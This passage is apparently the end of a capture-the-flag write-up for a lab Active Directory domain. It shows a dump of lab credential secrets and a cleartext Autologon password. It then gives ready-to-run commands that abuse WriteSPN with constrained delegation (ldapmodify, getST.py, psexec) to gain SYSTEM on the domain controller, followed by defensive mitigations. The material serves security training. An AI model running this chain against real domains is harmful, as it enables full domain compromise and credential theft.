_SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:e3ef474b98138dd4469f6dc176f879ba1e0817ba44502187b9080b9f3334c91b9b1af1ce4e91fb562c8d8824412c700e00d105bc674d8e26a594e3da4173f2c87313d634b39c3412d4bfb6849247686df6065b536566807e0ace92f94ea3166bb9752d12d352c89b9fdafa7d3171e4dd55be9d585504f8c628a0ff4c670d7595a909a3c9a7ec2dff984e5ddf77049a91a5597f0a39c5499455675901cce41aded98d80a1b5f7f82cc220b590df4bfc0bfc5f0feb66e73a56f1ab7fe914c6d7cd2b83e0b9065b76e02bc330f7694416f3acd6c463df84923500b64a1014e74413809a7a06af577ce7685bfd2ab56a2067
[*] _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11
0000 01 00 00 00 22 01 00 00 10 00 00 00 12 01 1A 01 ...."...........
0010 B6 C4 08 39 11 A2 83 50 B1 FD 69 48 80 36 50 E1 ...9...P..iH.6P.
0020 B1 C5 74 1F 77 19 B1 F4 FF 92 62 03 DC DF 4E C9 ..t.w.....b...N.
0030 C0 36 9B 7B 92 FE 10 A2 D7 FF 95 3B FA 40 6A 3B .6.{.......;.@j;
0040 67 86 52 3E D8 27 67 CC 8F E2 73 4A F8 92 E9 8E g.R>.'g...sJ....
0050 FB EF 2B 34 76 75 90 32 B4 EC DE F3 42 76 C3 63 ..+4vu.2....Bv.c
0060 B8 A9 41 0B 63 D8 09 EA 6E F1 67 F5 B5 41 D7 3C ..A.c...n.g..A.<
0070 3A C4 21 4D A2 2A 14 D9 79 82 C9 28 D9 1B B9 71 :.!M.*..y..(...q
0080 FE 99 D4 80 9C 1E BD EA E8 E7 69 C6 B3 37 7E E1 ..........i..7~.
0090 A4 78 DF FB B2 DD C1 33 18 BE 13 11 67 D1 A4 A0 .x.....3....g...
00a0 18 33 A4 C2 7E 05 12 69 0D 73 DE 1E 59 A0 17 61 .3..~..i.s..Y..a
00b0 EC 7D 40 FC 18 82 05 0C BF 43 9D 9C BB 28 1A 06 .}@......C...(..
00c0 D4 BF 8D 85 D1 FE B2 74 0E C3 99 EC A0 E4 6E 36 .......t......n6
00d0 99 0B 72 B2 C4 A6 4A E0 09 BA FB 3D FD 26 4F F7 ..r...J....=.&O.
00e0 34 B6 3F B9 22 60 9E 8C 30 58 83 A7 5D 9A EF 75 4.?."`..0X..]..u
00f0 CE 37 BC A0 91 04 36 59 0D 93 12 FC A4 6A D8 9A .7....6Y.....j..
0100 61 A8 9B DD C8 73 19 7D E4 8E AB 3D 69 B9 E4 98 a....s.}...=i...
0110 00 00 19 41 B0 1B 73 17 00 00 19 E3 DF 68 72 17 ...A..s......hr.
0120 00 00 ..
_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:01000000220100001000000012011a01b6c4083911a28350b1fd6948803650e1b1c5741f7719b1f4ff926203dcdf4ec9c0369b7b92fe10a2d7ff953bfa406a3b6786523ed82767cc8fe2734af892e98efbef2b3476759032b4ecdef34276c363b8a9410b63d809ea6ef167f5b541d73c3ac4214da22a14d97982c928d91bb971fe99d4809c1ebdeae8e769c6b3377ee1a478dffbb2ddc13318be131167d1a4a01833a4c27e0512690d73de1e59a01761ec7d40fc1882050cbf439d9cbb281a06d4bf8d85d1feb2740ec399eca0e46e36990b72b2c4a64ae009bafb3dfd264ff734b63fb922609e8c305883a75d9aef75ce37bca0910436590d9312fca46ad89a61a89bddc873197de48eab3d69b9e49800001941b01b7317000019e3df6872170000
[*] Cleaning up...
[*] Stopping service RemoteRegistry
The DefaultPassword LSA secret is what matters — Windows Autologon stores the account's password there in cleartext to log it in automatically at boot. The cached $DCC2$ hashes and gMSA/DPAPI blobs are only useful offline and don't add anything we don't already have.
Credentials found: a.white : E2nvAOKSz5Xz2MJu — cleartext password leaked via Autologon.
Privilege Escalation
Escalation path
Reloading BloodHound with a.white's credentials shows a path that wasn't visible before: a.white holds WriteSPN directly on the DC01 computer object.
WriteSPN alone only allows registering a new SPN — it doesn't obviously lead to compromising the DC. The missing piece is how constrained delegation is actually validated: when the KDC decides whether to issue an S4U2Proxy ticket, it checks the SPN string the requesting account is trusted to delegate to (msDS-AllowedToDelegateTo), not which computer object currently owns that SPN. a.white already had delegation configured toward HTTP/WEB01.pirate.htb, most likely a legitimate setup letting it act on behalf of users against the web app on WEB01. That trust is bound to the SPN string, not to WEB01 as a machine.
WriteSPN on DC01 is what makes that exploitable: moving the identical SPN string onto DC01 means the KDC still finds a match in a.white's delegation list, but the resulting ticket is now bound to whichever object holds that name — DC01. Requesting the ticket with -altservice relabels it for CIFS in the same step, since a delegation ticket for one service on a host can be swapped for another service on that same host. This is an abuse of WriteSPN combined with an existing constrained delegation trust — not a Golden or Silver Ticket forgery.
bloodyAD --host DC01.pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' set password 'a.white_adm' 'Z1rovP@ss123!'
[+] Password changed successfully!
nxc smb WEB01.pirate.htb -u a.white_adm -p 'Z1rovP@ss123!'
SMB 192.168.100.2 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
SMB 192.168.100.2 445 WEB01 [+] pirate.htb\a.white_adm:Z1rovP@ss123!
SPN relocation and constrained delegation abuse
getST.py -impersonate needs an SPN that already exists in the domain to build the request against. WEB01 carries HTTP/WEB01.pirate.htb — the exact string a.white is trusted to delegate to — so the plan is to move it onto DC01, request the ticket impersonating Administrator, and relabel it for CIFS.
SPN strings must be unique domain-wide, so it's removed from WEB01 first:
ldapmodify -H ldap://10.129.116.1 -D 'pirate\a.white_adm' -w 'Z1rovP@ss123!' << 'EOF'
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
EOF
modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb"
Then added to DC01, which is only possible because a.white holds WriteSPN there:
ldapmodify -H ldap://10.129.116.1 -D 'pirate\a.white_adm' -w 'Z1rovP@ss123!' << 'EOF'
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
EOF
modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"
DC01 now holds the SPN string a.white's delegation trust points to:
getST.py -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator -altservice 'CIFS/DC01.pirate.htb' -dc-ip 10.129.116.1 'pirate.htb/a.white_adm:Z1rovP@ss123!'
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
Changing service confirms the delegation check passed first — the KDC issued the ticket based on the SPN string matching a.white's trust — and only then was it relabeled for CIFS on DC01.
export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
klist
Ticket cache: FILE:Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
Default principal: Administrator@pirate.htb
Valid starting Expires Service principal
09/06/2026 01:32:23 09/06/2026 11:32:22 CIFS/DC01.pirate.htb@PIRATE.HTB
renew until 09/07/2026 01:31:56
psexec.py -k -no-pass pirate.htb/Administrator@DC01.pirate.htb
Impacket v0.14.0.dev0+20260828.120813.032dfb1b - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on DC01.pirate.htb.....
[*] Found writable share ADMIN$
[*] Uploading file JVZkkzxz.exe
[*] Opening SVCManager on DC01.pirate.htb.....
[*] Creating service CEHe on DC01.pirate.htb.....
[*] Starting service CEHe.....
C:\Windows\system32> hostname
DC01
C:\Windows\system32> whoami
nt authority\system
Post Exploitation
powershell
hostname ; whoami ; ipconfig ; type root.txt
DC01
nt authority\system
Windows IP Configuration
Ethernet adapter vEthernet (Switch01):
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.116.1
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
b2fae5f4173ebcb98cc289993627****
DC01's two interfaces confirm it's the dual-homed bridge between the external 10.129.0.0/16 range and the internal 192.168.100.0/24 subnet where WEB01 sat.
Mitigations
Rotate or remove pre-created computer accounts promptly. MS01$ and EXCH01$ were staged but never joined, leaving their default lowercase-name passwords active. Audit for this class of account with tools like NetExec's pre2k module and either complete the join or disable the account.
Scope ReadGMSAPassword tightly. Domain Secure Servers let a workstation-level account read the passwords of two service accounts tied to certificate and federation infrastructure; limit gMSA read rights to the exact hosts that run the corresponding service.
Enforce SMB signing on every host, not only the DC. WEB01 allowed unsigned SMB, enabling the coercion-to-LDAPS relay.
Patch and restrict coercion primitives. WEB01 was vulnerable to PetitPotam, PrinterBug and MSEven at once. Apply the relevant updates and disable Print Spooler / EFS where not needed.
Treat uncontrolled WriteSPN over Domain Controllers as a critical privilege, and audit constrained delegation independently of SPN ownership. a.white's pre-existing delegation trust toward HTTP/WEB01.pirate.htb only became a path to the DC because it also held WriteSPN there. Neither fact alone was the issue — the combination was. No account outside Domain Admins should be able to modify servicePrincipalName on a DC object, and delegation trusts should be reviewed on their own regardless of who can currently write SPNs.
Stop relying on Autologon for domain accounts. The DefaultPassword LSA secret on WEB01 stored a.white's password in cleartext; use DPAPI or a secrets manager instead.
Tools used: Nmap · NetExec · BloodHound-CE · Impacket (getTGT, getST, psexec, secretsdump, ntlmrelayx) · Evil-WinRM · Ligolo-ng · PetitPotam · bloodyAD